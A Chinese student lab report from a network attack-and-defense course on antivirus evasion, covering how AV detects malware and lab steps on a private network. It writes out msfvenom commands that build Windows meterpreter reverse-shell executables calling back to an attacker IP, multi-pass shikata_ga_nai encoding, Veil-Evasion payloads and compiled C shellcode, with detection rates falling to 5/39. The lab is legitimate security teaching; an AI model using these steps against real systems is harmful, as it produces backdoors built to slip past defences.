20145317 《网络对抗技术》免杀原理与实践

20145317 《网络对抗技术》免杀原理与实践

免杀技术

技术分类

改变特征码

加壳:使用专业的加壳软件,掩盖特征码;

使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;

使用其他语言进行重写再编译,如veil-evasion。

改变攻击行为

反弹式连接能大大减少被阻止查杀的风险;

在正常应用软件中插入恶意代码;

将恶意代码加密,运行恶意代码后再解密进行恶意操作;

非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

使用社工类攻击,诱骗目标关闭AV软件。

纯手工打造一个恶意软件

基础问题回答

1.杀软是如何检测出恶意代码的?

创建特征码库,对恶意代码的特征码进行匹配,匹配到即为恶意代码;

看该代码是否被流行免杀加壳软件加壳,如果有可能就是恶意代码;

根据该代码是否有恶意行为来判别,若有恶意的行为,我们就认为该代码是恶意代码。

2.免杀是做什么?

免杀就是通过改变恶意程序的明显特征等信息,一种能使病毒木马避免被杀毒软件查杀的技术。

3.免杀的基本方法有哪些?

改变特征码

加壳:使用专业的加壳软件,掩盖特征码;

使用encode等进行编码,进行异或、+1、-1等类似操作改变特征码;

使用其他语言进行重写再编译,如veil-evasion。

改变攻击行为

反弹式连接能大大减少被阻止查杀的风险;

在正常应用软件中插入恶意代码;

将恶意代码加密,运行恶意代码后再解密进行恶意操作;

实验步骤

实践过程记录

msfvenom直接生成meterpreter可执行文件

  • win8的IP地址:192.168.199.237
  • Kali的IP地址:192.168.199.109
  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.109 PORT=302 -f exe > fool.exe命令生成meterpreter可执行文件fool.exe
  • 使用ncat将文件传输到win8主机
  • 电脑管家检测到fool.exe恶意软件并删除,找回文件即可
  • 我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来
    • 点击浏览选项,自行选中所要检测的程序:fool.exe,随后点击扫描一下即可。
  • 检查结果如下:

  • 有21/39的杀毒软件发现有病毒

Msfvenom使用编码器生成meterpreter可执行文件

1)一次编码

  • 使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.118 LPORT=5317 -f exe > 5317dd.exe命令生成编码过的可执行文件5317dd.exe

  • 我们发现被编码后的payload大小为360字节,上面直接生成的payload大小为333字节,但是最终文件的大小都是73802字节。
  • 以上述相同方法传送给win8主机后再次检测:

(2)8次编码

  • 编码八次:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 8 -b ‘\x00’ LHOST=192.168.1.118 LPORT=5317 -f exe > 5317pp.exe

  • 由上图发现每编码一次,信息都会显示出来,而且每次payload增加27字节,最终payload大小为549字节,但是文件最终大小仍为73802字节
  • 再来检测一下:

  • 在编码8次之后,有21/39的杀毒软件检测出了有问题
  • 我们发现,一般的杀毒软件对于编码这种免杀方法都是有防御性的

  • 使用Veil-Evasion生成可执行文件

    • wins的IP地址:192.168.1.118
    • 在Kali中打开veil-evasion:直接在终端输入veil-evasion即可(如果是自己安装的kali可以用sudo apt-get veil-evasion下载一个)

    • 在该界面下输入命令:use python/meterpreter/rev_tcp,出现结果如下图所示:

    • 使用set LHOST 192.168.1.118命令将LHOST设为Kali的IP

    • 输入命令generate,进入到如下界面

    • 接下来我们输入自己生成的可执行文件的名字:5317py

    • 他会询问我们选择哪种编写方式,我们选择1,用python语言来编写,最终出现如下界面

    • 这里的端口我忘改了,不过这个也就和msf一样,自己随便设置就好。
    • 该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击即可找到相应的文件夹:

    • 检测结果如下:

    • 有10/39的杀毒软件报告发现有病毒,效果还是不错的

    使用C语言调用Shellcode

  • 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=5317 -f c命令生成一个C语言shellcode数组

  • 创建一个C文件:MSSC.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:

  • 使用i686-w64-mingw32-g++ MSSC.c -o MSSC_5317.exe命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5317.exe

    • 将上面生成的数组copy到win8的主机上,用vs2013编写一个C程序并编译
    • 在Kali下使用msf监听运行刚刚编译生成的可执行文件,成功获取权限:

    • 检测一下:

    • 有5/39的查杀软件发现了病毒,比上一个超简单的C程序厉害了一点
    • 我们找到C可执行文件的位置,用电脑管家扫描一下,成功免杀。

posted @ 2017-03-26 21:12  20145317彭垚  阅读(170)  评论(0编辑  收藏  举报